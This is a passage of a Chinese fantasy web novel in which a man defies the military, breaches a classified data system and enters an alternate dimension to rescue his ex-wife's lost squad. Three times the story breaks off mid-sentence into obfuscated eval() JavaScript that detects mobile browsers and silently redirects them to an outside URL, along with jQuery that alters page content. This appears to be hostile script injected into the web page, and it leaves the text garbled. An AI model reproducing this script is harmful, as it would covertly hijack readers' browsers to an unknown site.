《频率停息之后》 1. 疯了 “景先生,夜少校已经确认牺牲,请你代表家属签字。” 景叙阳在心里冷笑一声,要不是灵锋部队的特殊性,家属签字绝对轮不到他这个前夫。 他扫了一眼面前的《牺牲通知书》,轻轻一推,纸张滑到桌子中央。 “据我所知,“灵锋”部队没有派出救援部队。” 他的目光扫过办公室里的几人,最后定格在上校身上,毫不掩饰地盯着他。 “没有尝试救援,凭什么判定牺牲?” “按照规定,失联十五天,可以判定为牺牲。” 坐在桌子一端的上校对上景叙阳的目光:“夜聆枢率领的先锋小队至今失联十八天,技术部有明确数据记录。” “我记得规定里写的是,搜救无果且失联十五天,判定牺牲,”景叙阳陈述道,“没有搜救就直接判定牺牲,不合规定。” 会议室里落针可闻,干事们纷纷手心发汗。 “传回的灵能脉冲数据显示,先锋小队所有人均无生命迹象,可以判定牺牲。” “技术部已经反复校验数据,专家组确认无误。” 上校冷冷答道:“这是联合会议得出的结论,你不需要质疑。文件签完,去认领遗物。” 景叙阳垂下眼沉吟片刻。 大家都以为他松口了,结果他抬头说道:“麻烦上校开通权限,让我去技术部亲眼看一看。” 空气像凝固了一样,干事们仿佛下一刻就要见着太奶。 技术部涉及机密,部队内部成员也没有权限查看数据。 这人直接跟上校开口,别是疯了。 上校不跟他废话:“拒绝签字就请回吧。” “上校,”景叙阳盯着他,“除了夜聆枢,小队还有四名精英灵师一并失联,我不只是想为我的妻子求一条生路,更是不希望有人白白牺牲!” 上校瞥了他一眼,压下眉头,整个会议室的气压顿时变低。 “你还是先冷静一下再去办手续吧。” 话音刚落,两名警卫上前来,一人一边把景叙阳拉走。 景叙阳被迫向外走,出门前再次看向上校。 “为他们求一个本该有的救援,就这么难吗?” 没有人回应他,警卫有些粗暴地将他推出去。景叙阳一个踉跄,门在他身后重重关上。 他揉了揉被拉扯过的手臂,掏出通讯器拨通了师哥的号码。 十分钟后,匆忙赶来的郭守安在休息区见到了师弟。 景叙阳还是平时那副样子,斯文地坐在沙发上,正拿着一次性纸杯喝水。 “师哥,你来了。”他和郭守安打招呼。 郭守安知道他心里一定不好受,坐到他身边,语重心长道:“阿阳,聆枢的事你别太难过,人总得往前看。” 景叙阳礼貌性地笑了一下:“我有件事想跟师哥讲,咱们去个没人的地方。” 郭守安莫名其妙,跟着他到洗手间。 “你在电话里说要我帮忙,什么事神神秘秘的?” 景叙阳确认洗手间里没第三个人:“你在技术部,能不能帮我调个数据?” 郭守安瞪大了眼,压低声音:“技术部数据是机密!偷调数据是犯法的!你开玩笑呢!” 景叙阳眼睛一转:“真不能调?” 郭守安往周围看了一圈:“不是,你要数据干嘛?” “他们非说夜聆枢死了,我不信。”景叙阳说。 上个月还在家跟他吵吵闹闹的人,绝不可能就这么没了。 夜聆枢跟他放下狠话,一定要证明武力清剿才是异空间的最佳解决方案,景叙阳那套符文解法绝对不靠谱。 这么不服输的人,绝不会死在证明自己之前。 她一定还没死! 郭守安欲哭无泪:“祖宗啊,这是你信不信的事吗?那么多专家开了多少次联合会议认定的牺牲。数据他们没看过吗?分析他们不比你专业吗?你冒这个风险干什么啊,你又看不明白。” 景叙阳面无表情地看着他:“所以你不打算帮我。” 郭守安快崩溃了:“这是违法的啊,违法的!这事干了要上军事法庭的!” 景叙阳“哦”了一声,从兜里掏出一个U盘。 “那你帮我把这个插到存数据的电脑上。” 郭守安都想给他跪下了:“阿阳,师哥求你了,放弃吧。你就算不为自己考虑,也为灵文院考虑考虑吧。咱们好不容易在部队的专家组占据一席之地,不能就这么把未来断送啊!” 景叙阳看着自己快要疯掉的师兄,把U盘收起来。 “师哥,我懂你的意思,只是聆枢……我真的不想放弃。” 郭守安做了几个深呼吸,平复了情绪,手搭上景叙阳的肩膀,叹了口气。 “我知道你们感情好,知道你接受不了。但是身在灵锋,牺牲是难免的。她为她的事业献身,也算是……光荣。” 景叙阳本想微笑,嘴角抽了抽硬是没挤出来。 “我听说你在遗像前站了一晚上,你这样会把身体拖垮的,聆枢要是知道你这样糟践自己肯定不同意。”郭守安试图把他的理智拉回来。 景叙阳木木地站在那里,似乎一句话也没听见,整个人像是魂游天外。 他这个失智的模样让郭守安有些害怕。之前无论遇到多危机多棘手的情况,景叙阳永远都是一副淡定理智的样子,似乎没有什么事能惊起他的波澜。 不会是傻了吧。 “快回去休息吧,等休息好了再解决其他事。”郭守安拍了拍他的后背。 景叙阳抬起头,眼神变得平静,又回到了以前的模样。 他温和一笑:“好,谢谢师哥。” 郭守安看他突然正常,又是一愣,机械地在他肩上拍了两下。 “我那边还有任务,先走了。”他来之前还在看数据,听景叙阳说找他有急事赶紧跑来。 他走之前不忘叮嘱:“照顾好自己啊,别把身子弄垮了。” 景叙阳点了点头:“谢谢师哥。” 他走出洗手间,看着郭守安的身影消失在走廊尽头,指尖在口袋里触碰到了ID卡的边缘。 他挑起嘴角:“谢谢师哥。” 郭守安晚上回到宿舍,伸手掏ID卡,却摸了个空。 “哎?我卡呢?” 他把全身上下掏了一遍都没找到,站在宿舍区大门口苦思冥想了半天到底丢哪里去了。 直到同事回来帮他开了门,他也没想起来。 “卡丢了赶紧挂失啊,你那卡上有技术部权限呢。”舍友说。 郭守安赶紧联系负责人,消息刚发出去,有人来敲门。 一开门,来的是景叙阳。 景叙阳给他递上一张卡。 “师哥,你的卡掉休息区了,我下午忙着整理聆枢的东西,没来得及还给你。” 他有些愧疚地赔笑:“不好意思师哥,没耽误你的事吧?” 郭守安赶紧接过来,见自己的卡完好无损,松了口气。 “没有没有,没丢就行,”郭守安把卡收好,“你赶紧回去休息吧,辛苦你这么晚还来给我送东西。” 景叙阳给他一个标准微笑:“没事,师哥再见。” 景叙阳回到住处,打开电脑,密密麻麻的数据映入眼中。 技术部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669439|188629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒班时,趁晚上人少,他拿郭守安的卡刷进技术部,把U盘插进存数据的电脑。 准备好的黑客软件自动下载,一天内不会触发警报。他把U盘拔掉,再悄悄离开。 郭守安刚来技术部没几天,认识他的人不多。景叙阳知道,只要把卡还回去,他不会查通行记录。 黑客软件能帮他开通24小时数据权限,他必须在这个时间里找到夜聆枢活着的证据。 景叙阳戴上防蓝光眼睛,将长发拢到脑后束起。屏幕上的光照在他脸上,五官中只剩下专注。 灵能脉冲被视为生命信号,判定是否牺牲主要就看这个。处理后的数据会生成一张长长的图片,很像心电图。而原始数据,则是一大堆数字和字符。 景叙阳调出灵能脉冲的原始数据,未经解析编译的字符铺天盖地地涌上屏幕。 他打开自动滚动,看着数据一行行跳动。 一夜过去,又是一天。 太阳在天空滑过一条漫长的弧线,慢慢沉到西面。 天又黑了。 景叙阳摘下眼镜,揉了揉通红发胀的双眼。 还有最后两个小时,黑客软件就要失效销毁,可他看了一天一夜的数据,什么有效信息都没发现。 夜聆枢真的死了吗? 一串乱码般的数据突然跳到他眼前,他草草扫过。 下一行一模一样。 再下一行也一样! 景叙阳果断按停滚动,屏幕上定格下数行一模一样的乱码: “5,2,0,9,5” 正常灵师都有自己固定的灵能频率,一般不会改变,技术部也常靠这个来判定记录对象。 可眼前的数据显示,这个灵师的灵能频率每一秒都不一样。 频率为0不是休克就是死了,这一点是技术部公认的。这些反复横跳的频率在接收时会被判定为设备异常,直接报错。 横跳一次可能是设备出错,但重复这么多次就很难不让人怀疑。 他控制住发抖的手,将数据翻到下一页—— 满屏都是9和5! 一个念头赫然出现在景叙阳脑海中,他一拳捶向桌子:“我知道了!” 全身不由自主地颤抖起来,嘴唇也跟着抽搐,眼泪大颗滚落下来,砸在桌面上。 他伸出手,微颤的手指轻轻抚摸过屏幕上的数字。 “我们今天学了灵能脉冲器分析应用,我拿回来一个。”学生时代的景叙阳对夜聆枢说。 夜聆枢把胳膊一伸:“拿我试试,看看你学会没。” 景叙阳给她戴上,连上电脑。滴滴两声之后,电脑程序报错。 景叙阳一愣:“仪器坏了?我拿的时候还好好的。” 夜聆枢一脸坏笑凑过来,点开原始数据。景叙阳在看到那串数字时大为震撼—— 全是重复的“5,2,0,9,5”。 “这,灵能频率是不会变的,为什么会有重复性变化?还有零?” 归零表示死亡,这太不正常了。 夜聆枢得意地拆下仪器:“我可是特殊的谛频者,不仅能感知频率,还能改变自己的灵能频率。” “我这个能力,全灵师界找不出第二个。” 她看景叙阳一副若有所思的样子,在他手背上点了点:“知道这串数字什么意思吗?” 景叙阳会心一笑:“知道。” “看到了记得来救我,”夜聆枢说,“不然找你算账。” 景叙阳扣紧她的手:“一定。” “我就知道,聆枢……”他仿佛触碰到她的指尖。 “我就知道,你绝对不会死。” 2. 跑了 景叙阳用临时通行证刷开宿舍区大门,直奔夜聆枢宿舍。 临时通行证和宿舍钥匙都是军务部给的,让他去清点整理遗物。他进门径直走向床铺,从床底拖出一箱东西。 夜聆枢有两套装备,一套经过改装定制,她常年使用,还有一套由部队统一配备,放在宿舍备用。 景叙阳迅速清点了一遍,确认所有东西能用,脱下外套,露出里面的作战服。 夜聆枢衣柜里还有他的作战外套,是离婚前留在她这里的。他套上外套,背上装备,看了眼墙上的表。 刚过21点。 他到卫生间洗了把脸,一抬头看见镜子里的自己,束在脑后的头发有些凌乱。 差点忘了。 景叙阳解开发带,把长发拢在手里,拿起剪子,咔嚓几下,蓄了四年的头发落了一地。 他伸手理了理刚剪的短发。短是真短,每根头发都像刚长出来的草一样立在头上,豁豁牙牙,跟狗啃的一样。 他拿出通讯器,用细针撬开外壳,把芯片掰成两半,手指一弹,碎片掉进马桶,顺着水流冲进下水道。 时间差不多了。 他环顾房间,突然觉得夜聆枢的床头少了什么。 那里之前有个相框,现在不见了。 景叙阳拉开抽屉,果然看到相框躺在里面。他把两人的合照抽出来,看着照片上的夜聆枢:“你最好活着等我找到你,不然我就不跟你合葬了。” 他将照片放进贴身口袋,在夜幕下走向基地。 警报声在指挥部疯狂叫嚣,技术部忙得像热锅上的蚂蚁,数据在电脑上跑到飞起。 “怎么回事?”上校接到警报马上赶来。 “异空间外围的灵能屏障遭到破坏,疑似人为,”当值的军官汇报道,“技术部正在检查破损程度。” 上校脸色一沉:“调监控,查空间边界处通行记录。” 他拿起通讯器,指挥巡防小队:“加派人手,大力搜索异空间外围屏障,捉拿嫌犯。” “上校!屏障破坏程度加剧!” 上校对着通讯器吼道:“即刻捉拿嫌犯!一定要抓到人!” 他走到总控台前,向整个基地播报:“巡防部门所有人,立刻集合前往异空间屏障,所有小队,立刻集合出发!” 在基地内值岗的人还不知道发生了什么,听到命令立刻集合出发。 景叙阳听着杂乱的脚步声走远了,快速穿过走廊,来到传送室门口。 夜聆枢的备用权限卡帮他刷开了传送室的门。隔着灵能屏障,他能看到那扇通往“永寂”的传送门。 这是灵锋部队的核心设备,即使他手里有夜聆枢的备用权限卡也无法启动。 他拿出一支状似钢笔的东西,将自己所有的灵能灌注进去。笔尖在门上落下,勾出一串奇异的符号。 它们在最后一笔完成后,散发出幽蓝的光芒,仿佛来自深渊的文字。 手里的笔不断吸取他的灵能,书写变得越发吃力。景叙阳头上隐隐冒汗,用另一只手稳住笔,完成最后一个符文。 这些符文在传送门上组成了一个首尾相连的环形。 景叙阳知道自己一定会被发现,转过身,正对着隐藏在角落里无数监控: “我是景叙阳,进入异空间是我的个人意愿,与任何人无关,与任何组织无关。” 他说完这句话,转身提笔在符文环的正中央写下最后一个。整个符文环顿时迸发出线条,射向中央的符文,撞击出的强光将景叙阳瞬间吞没。 光芒转瞬即逝,景叙阳消失在传送室疯狂的警报中。 “上校!传送室有能量波动!” 上校的心脏几乎停跳。他冲到监控跟前,看到监控拍摄的画面里,一道强光闪过,传送门前的人消失不见。 门上却留下一个环形的符号。 “上校,异空间屏障未破损,功能完好。”技术部汇报道。 明明是个好消息,上校却没心思听,转身往传送室赶去。 等他带着巡防队和技术部的人赶到时,正好看到传送门上的符文褪去最后一丝光芒,消失在门上。 “第25天,无信号。” 夜聆枢写下这句话,合上笔记本,看向放在地上的仪器。 没有灵能波动,没有能量体靠近。 没有怪物来袭击,也没有救援队。 这是他们和外界断开连接的第20天。出口因为异空间能量暴动而封闭,他们被困死在这里, 队员们各自坐在自己的角落,没人说话。他们低头在本上写着什么,或是盯着某个地方发呆。 夜聆枢闭上眼,用灵能将自己的“谛频”能力放大,推向远方。 这是她每天都在做的事情,借助“谛频”寻找空间的突破口,顺便侦查周围情况。 姜蝉写完日记,见夜聆枢还闭着眼,伸手按上她的肩。 “谛频”的灵能消耗很大,她必须在半个小时的时候提醒夜聆枢。 夜聆枢睁眼,捏了捏鼻梁,接过姜蝉递来的恢复药。 “没有结果,”她脸色凝重,“我已经努力搜查最远的边界了,还是没有发现。” “我们再向边界处走走,总会有发现。” 姜蝉按上她的脉搏,检查一番:“你不要把太多灵能消耗在这上面,那些怪物来去无踪,得提前做准备。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669440|188629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜聆枢点了点头,放下袖子:“我知道,你不用担心。” “队长!我好像看见个人!”在外巡逻的队员欧冶突然冲进来喊道。 夜聆枢心中一惊:“你确定?” “有点像,我再看看。” 欧冶说完,跑到临时庇护所门口,拿起望远镜。 确实是个人,背着装备,脚步有些拖沓地向这边走来。 “真的是个人!”欧冶冲进庇护所,“是个活人!还背着装备!” 剩下两个队员也被惊动,起身查看。 夜聆枢瞥了一眼灵能检测器,死寂多时的仪器终于有了一点波动,但是这个波动对于救援队来说有点太微弱。 “只有一个人?” 欧冶意识到问题,有些迟疑:“对……我只看见一个人。” 夜聆枢走出来,果然看到一个人影向这边走来。脚步有些虚浮,但十分坚定。 这人身上的灵息有种说不上来的熟悉,但她想不起来。 “怎么办队长?他会不会和我们一样,是困在这里的人?” “不太像,”姜蝉看向夜聆枢,“队长,你说这里的怪物会不会模拟人类?” 夜聆枢盯着那个一步步靠近的人:“有可能。” 欧冶脑子一转,对着那个人大喊一句:“喂,哥们!你是救援队派来的吗!” 夜聆枢、姜蝉:…… 来人顿了一下,抬起头看到他们,脚步明显加快。 一百米,五十米,二十米…… 他们终于在十米远的地方看清了这个人,穿着“灵锋”的作战服,带着统一发放的装备,脸上挂满尘土和疲惫,头发像被狗啃过一样又短又乱。 夜聆枢瞬间睁大双眼。 不是吧,他怎么来了? 她默默转过身,在没人看见的地方抽了抽嘴角。 部队可没教过在异空间遇见前夫该怎么办。 她正打算进去回避一下,欧冶已经迎上去了:“哥们,你是哪个队的?我们是先锋小……哎哎哎,你别晕啊!蝉姐!” 夜聆枢闻声回头,人已经栽到地上了。姜蝉正指挥三人把他扶起来,送进庇护所里。 夜聆枢眉心突突地跳。她按了按眉心,进了庇护所。 “蝉姐,他不会死吧?”欧冶看这人脸色灰白,担心他有个三长两短。 好不容易见着个活人,刚见面就没了,多晦气啊。 姜蝉麻利地做着各项检查:“放心,剩半口气我都能救回来。” 夜聆枢沉默地站在一旁,等姜蝉忙完起身,她幽幽地问了一句:“还有救吗?” 姜蝉意味深长地看着她:“放心,死不了。” 3. 晕了 突然出现的活人让庇护所的气氛有所回暖。小队众人围坐在周围,盯着躺在中间的人,眼里闪烁着奇异的光芒。 如同一群盯着猎物的猛兽。 “他是谁啊?为什么会一个人出现在这里?”欧冶问道。 靳锬见夜聆枢木着脸一言不发,猜到些什么:“队长,你认识这个人吗?” 夜聆枢组织了一下语言:“没在部队见过。” 欧冶震惊:“哈?那他不是部队的人?” 他看了看从这人身上取下的装备,上面印着“灵锋”的标志。 “他带的是“灵锋”的装备啊。哎,这咋还有名字?” 欧冶发现装备上的标签,拿近了一看。 不看不知道,一看吓一跳。 “呃,队长……”欧冶现在只觉得自己脑子里一团浆糊摇匀了,“这上面是你的名字……” 所有人的目光瞬间集中在夜聆枢身上,她抽了一口气,不得已解释道:“他……反正不是敌人,具体情况,等醒了再问吧。” 靳锬差不多猜到情况,闭口不言。 欧冶挠了挠头:“队长认识他?他到底是谁啊?不在部队为什么能进“永寂”?” 回答他的是一片沉默。一旁的队友戳了戳他,欧冶这才发现,姜蝉和靳锬一直盯着他,夜聆枢的脸色似乎不太好看。 他终于意识到不对劲,闭上了嘴。 “我去巡逻。”夜聆枢放下这句话,走出庇护所。 靳锬见她出去,对姜蝉说:“这个人,是不是队长的……” 他用口型比了个“前夫”。 “有点像,”姜蝉见过景叙阳,“不过我记得她家那个是,灵文院的。” 靳锬看了一眼地上躺着的人,浓眉大眼面若冠玉,即使发型十分潦草,也难掩容貌俊秀。 长得这么精致白嫩,一看就不是部队的人。 “我去探探口风。”姜蝉站起身往外走去。 夜聆枢来到外面,长长地出了口气。 此时是“永寂”的黑夜。异空间的昼夜交替没有固定时间,一旦天黑能见度不到十米,还会不时出现能量体。 因此,晚上的巡逻都由她和靳锬进行,他们两人的灵能等级足以独当一面。 姜蝉出来时,夜聆枢正拿着根小木棍在地上写写画画。 她在夜聆枢身边坐下:“那是你前夫吧。” 夜聆枢一顿,扔下小木棍:“你有这么好的记性,干什么都会成功。” “你们才离婚不到两个月,我当然记得。” “你没见过他几次吧。” “他怎么跑这儿来了?” 夜聆枢也没想明白:“我怎么知道。” “他会不会是跟着救援队来的,跟大部队走散了。” 夜聆枢想了想:“救援队带他干嘛,不嫌碍事。” “那他是自己进来的?部队不会允许他一个人跑到异空间来吧?” 姜蝉说着,瞄了一脸夜聆枢的表情。 “这可是“永寂”,硬闯是要上军事法庭的。” “是啊,这可不是闹着玩的,”夜聆枢说,“我还是比较赞同你的第一个假设。” “他是来找你的吧?” 夜聆枢冷笑一声:“得了吧,谁家好人冒着生命危险跑到异空间来找前妻呢,这不找死吗?” 姜蝉偏过头,在夜聆枢看不见的地方笑了笑。 “你给他发信号了?” 夜聆枢斜了她一眼:“求救还来不及呢,给他发什么信号。” 她确实改变灵能频率想要引起技术部注意,不知道他们有没有察觉。 “来都来了,我多问一句,你俩因为什么离婚?” 夜聆枢假装没听见,站起身,拍了拍身上不存在的灰。 姜蝉见她避而不答,知道问再多都没用。 屋里的三个人还围着景叙阳,一看姜蝉回来,全都抬起头。 靳锬对上姜蝉的目光,又向景叙阳使了个眼色。 姜蝉点了点头。 欧冶全看在眼里:“你们对什么暗号呢?” “没什么,等夜队回来你问她。” 姜蝉看到蓝予澄黑亮的眼睛转了两转,最后停在景叙阳身上,估摸他猜出来了。 这个少年话不多,心思却很细,没什么瞒得住他。 夜聆枢撩开门口的布进来,见景叙阳还躺在地上,皱了下眉头。 “你确定他还活着吗?”她问姜蝉。 姜蝉说:“你要是不想让他活,直接给他一枪比较利索。” 夜聆枢盯着景叙阳参差不齐的头发:“那他什么时候能醒?” “这不好说,毕竟他不是职业灵师,恢复能力怎么样没法估计。” 夜聆枢往身后墙上一靠:“好吧。” “队长,我有一个问题。”欧冶小心翼翼地说。 夜聆枢一个眼神扫过去,冷冷开口:“说。” “这个……人,队长你是不是认识?” 靳锬扶额,这小子怎么哪壶不开提哪壶。 “认识。” 欧冶看她承认,估摸着她不会太生气,又问道:“他是谁啊?为什么会一个人出现在这里?” 夜聆枢索性破罐子破摔:“他是灵文研究院的景叙阳,为什么在这儿不知道。” 欧冶心说居然是灵文院的,这个名字有点耳熟。 他突然想起了什么,凑到靳锬耳边问道:“锬哥,我怎么感觉在哪儿听过这个名字?” 靳锬看了他一眼,转头和姜蝉交换了一个无语的眼神。 欧冶一头雾水,看到夜聆枢黑着脸,转头问靳锬:“我是不是又说错话了?” 靳锬在他肩上拍了拍:“盲生,你发现了华点。” 夜聆枢坐在屋里,用谛频监测着周围的情况,眼睛一直盯着景叙阳。 他为什么来? 他是怎么进来的? 景叙阳一睁眼,发现自己躺在一个破屋里,伸手一摸身下有块垫子,转头一看屋里坐了几个人。 头有点晕,不过无伤大雅。他慢慢撑起身子。 “你终于醒了,身上有什么不对劲的地方吗?” 他闻声转过头,一个穿着作战服的短发女人蹲在他面前。他往角落看去,正好对上夜聆枢的目光。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669441|188629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>空气瞬间凝固。 “我没事,谢谢。”景叙阳的嗓音有些沙哑,姜蝉给他递了个水壶。 “你可太吓人了,刚打了个照面就一头栽到地上,”欧冶凑过来说,“你是跟救援队一起进来的吗?大部队呢?” 景叙阳一时不知怎么回答,看向夜聆枢。 她抄着手靠在一边:“看我干嘛,你嘴又不长我脸上。” 欧冶突然觉得,他大概是队长的仇人。 “救援没来,我一个人来的,”他活动了一下僵硬的身体,“我在这里躺了多久?” 没人回答他,“救援没来”四个字重重敲在所有人心上。 “八个半小时,”夜聆枢打破沉默,“你挺能睡。” 景叙阳起身走到她面前,目光将她从头到脚扫了一遍,见她整个人完好无损,心里松了口气,低声说道:“回去之后,能不能复合?” 他自己以为声音不大,实际上所有人都听见了。 他们还没从“救援没来”的打击中恢复,又被这话震惊到了。 夜聆枢避开队员匪夷所思的眼神,拧着眉头看向他。 “滚。” 要不是特殊时期,她一定再给他一脚。 “所以,队长,他真是你……”欧冶终于反应过来。 “前夫。”景叙阳帮他补上后半句。 虽然早有猜测,但得到当事人亲口认证还是十分炸裂。一时间所有人的表情都非常精彩。 景叙阳转过头,接着说:“你有没有受伤,失联这些天,你……” 夜聆枢抬起胳膊,把他推到一边,和自己拉开距离。 “我建议你先认清自己的身份,”她一脸嫌弃,“不要觉得你在我面前躺了一天就能为所欲为。” 景叙阳还有一串想问她的话,一下全卡在喉咙里。他盯着夜聆枢,见她与自己对视三秒就挪开眼,悄悄勾了下嘴角。 “抱歉,唐突了,”他口气软下来,垂下眼,睫毛投下一片阴影,“谢谢小队的救命之恩。希望队长可以收留我,带我一起离开异空间。” 夜聆枢立刻换上一脸难以描述的表情。 摔了一跤给这人摔傻了不成? 队员们更是摸不着头脑。欧冶悄悄问姜蝉:“蝉姐,这是唱的哪一出?” 姜蝉快要憋不住笑,拳头放到嘴边咳了一声。 “救命之恩,以身相许呗。” 放在地上的灵能检测仪突然发出急促的警报声,他们一回头,看到仪器上的灵能瞬间飙高,立马警惕起来。 夜聆枢一把将景叙阳推开,冲到外面打开手电一看,浓墨一般的夜色中,一群惨白的东西正在迅速靠近,割裂空气的声音像是数万人在同时快速翻动纸张。 “准备作战!” 夜聆枢一把抓起自己的枪,冲出去的时候,还不忘拽回探出半个身子的景叙阳。 “你在这儿老实待着,别添乱。” 景叙阳透过缝隙,看到手电的强光刺穿黑夜,数以万计的“碎纸”在强光中翻涌,如同被无形飓风撕碎的雪崩,尖锐地嘶鸣着倾泻而下。 准确来讲不是碎纸,而是无数白纸蝙蝠。 4. 走了 数道金光砸入蝙蝠群,炸开一个又一个豁口,碎纸下雪一样飘落下来。 景叙阳知道这是他们手里的灵能枪,这东西靠灵师的灵能驱动,威力极大,每一枪都能打掉数十只纸蝙蝠。 转眼间,地上已经铺满蝙蝠碎片,白花花的一片盖在四周。天上的蝙蝠群还在盘旋,不断冲向他们。 “我来!” 欧冶提起炮筒,扎稳身体,瞄准蝙蝠群。只听“轰”得一声,天上的蝙蝠应声炸裂成纸片,哗啦啦地从半空落下来。 蝙蝠群的规模瞬间缩小。靳锬抬起枪管,连扣几下扳机。残存的蝙蝠群里炸开数团火光,幸存的蝙蝠一哄而散,扎入夜色。 欧冶拍了拍炮筒:“新改的冲击波就是好用!” 姜蝉放下枪,看了他一眼:“你悠着点,这炮耗能很大。” 夜聆枢松了口气。这是他们第三次碰到白纸蝙蝠,这次的规模没有前两次那么大,攻势也减弱了许多。 算是不幸中的万幸,不然带着景叙阳,逃命都不知道怎么逃。 “我们上一次碰见纸蝙蝠是在这里,”靳锬在地图上做出标记,“上上次在这里。” 夜聆枢看着这张地图:“碰到的纸蝙蝠数量越来越少,或许我们正在靠近边界。” 靠近边界就有机会能出去。 “大家休整一下,天一亮我们就继续前进。” 他们研究地图的时候,景叙阳点起一堆火。 夜聆枢看他在那儿啃干粮,火光映照着他的面孔,心里升起一种难以言述的感觉。 欧冶是个自来熟的,凑到景叙阳跟前:“嗨喽,哥们,怎么称呼?” 景叙阳转过头,脸上露出微笑:“我叫景叙阳,灵文院研究员,直呼本名就行。” 欧冶见状,觉得他是个好相处的:“我叫你一声哥,不介意吧?” 景叙阳当然不介意。 “景哥,你既然是灵文院的人,怎么进到异空间来的?” 欧冶这一问,所有人都把耳朵竖起来了。 景叙阳想了一个合适的说辞:“偷渡。” 欧冶一懵:“啥?” “偷渡。”景叙阳又重复了一遍。 “非法进入异空间是要上军事法庭的,你想干嘛?”夜聆枢觉得他脑子进水了。 欧冶迷茫了:“那,那你来异空间干嘛?” 景叙阳这次回答得十分利索:“找人。” 欧冶更迷茫了:“找人?” 景叙阳点了下头。 还没等欧冶再说话,靳锬往他手里塞了个水壶:“你喝口水。” 景叙阳看向夜聆枢,她低着头,十指交扣。 欧冶盖上水壶盖子:“景哥,你,不会是来找队长的吧?” 夜聆枢一个眼神杀过来,他赶紧闭上嘴。 景叙阳嗯了一声。 姜蝉“哇哦”了一声,看向快要石化的夜聆枢。 “我跟你有多大的仇,你要追到异空间来?”夜聆枢无奈道。 景叙阳望着她,眨了两下眼睛。 “我想把你活着带回去,”他说,“然后复合。” 他就这么当着所有人的面,把复合的话又说了一遍。 整个庇护所里顿时只剩下火焰吞噬燃料声音。 夜聆枢特别想找个地缝钻进去。 欧冶嘴张得溜圆,瞪大眼睛,半晌过后来了一句:“哥们你纯爱战士啊。” 靳锬拍了拍他:“你再多说两句,队长让你变成哑巴。” 夜聆枢压下上脸的热意,恢复那副冷冷的语调:“你还挺有自信。” 景叙阳轻微勾起嘴角:“你是指活着还是复合?” 夜聆枢想把他立刻马上扔出去。 一个小时过去,黑夜退去,他们按照计划继续向空间边界前进。 夜聆枢走在队首,靳锬压在队尾。 他们所处的地方是一片荒原,离开破屋后再没有见过任何建筑,甚至没有任何自然物体,只有过于平坦的土地。 景叙阳看过不少异空间的数据和文献,亲身进入还是头一次。有了前三天独自跋涉的经历,这个地方对他来说不再稀奇。 他看向队伍中央的少年。他很少说话,在话痨欧冶的衬托下可以称得上是沉默寡言。他看上去年纪很轻,但蓝黑色的头发让景叙阳意识到他非同一般。 能让夜聆枢选中带进异空间,肯定不是一般人。 他正揣测着少年的身份,蓝予澄突然开口:“队长,起雾了。” 话音刚落,浓重的白雾从四面合拢,将几人包裹其中。 “进来这么多天,从没见过起雾,”姜蝉说,“从来没有数据提到过异空间的天气。” “多加小心。”夜聆枢扣上护目镜,放慢脚步继续前进。 走出几百米,夜聆枢突然打了个停止的手势。 所有人立刻停在原地,拿起武器。 夜聆枢眨了下眼,用灵能加持“谛频”。队友的灵能频率瞬间被感知到。浓雾背后,一个陌生的频率进入她的探查范围。 “蹲下!” 夜聆枢大喊一声,下一瞬一颗子弹从他们头顶擦过。 “一点钟方向,78米。” 欧冶一步上前,打开防御盾挡在最前面。靳锬从队尾跃出,抓抢蹲地开枪一气呵成,然后瞬切模式,再开一枪。 夜聆枢一直关注着偷袭者的频率,他出了一声,倒在地上。 他们走近一看,居然是一座二层小楼,看上去像个哨岗。 “人在楼上。”夜聆枢说。 他们在二楼观测台找到了偷袭者。和夜聆枢探测到的频率吻合,他倒在地上,枪掉在一旁。 看到活人的惊喜胜过被偷袭的紧张。 ““永寂”除了我们,居然还有人!”欧冶激动道。 夜聆枢上手把他翻过来,仔细辨认了一番,确认没见过这个人。 她皱眉道:“我们是第一批进入“永寂”的灵师,这里怎么会有别人。” 另一边,欧冶捡起地上的枪:“他这用的什么枪啊,这么老的样式,能有什么威力。” 夜聆枢捕捉到关键:“你说他的枪很老?” “对,很老。这是初代灵能枪,用灵能加持特殊子弹进行攻击,整体较大较重,灵活性很低。”欧冶端详着手里的枪。 “队长你看,这里缺了一个部件,应该是瞄准镜。” 靳锬听了说道:“那确实是老物件。” 现在的灵能枪早就取消了瞄准镜,改成了灵能雷达瞄准,准确度比肉眼瞄准高得多。 景叙阳蹲下来,看到这人脖子上挂了个吊坠,似乎是一块黑色的石头。 他眯了下眼,正想拿来看个究竟,听见夜聆枢说:“不知道这人什么身份,先把他绑起来,等醒了再说。” “搜查所有角落。” 夜聆枢 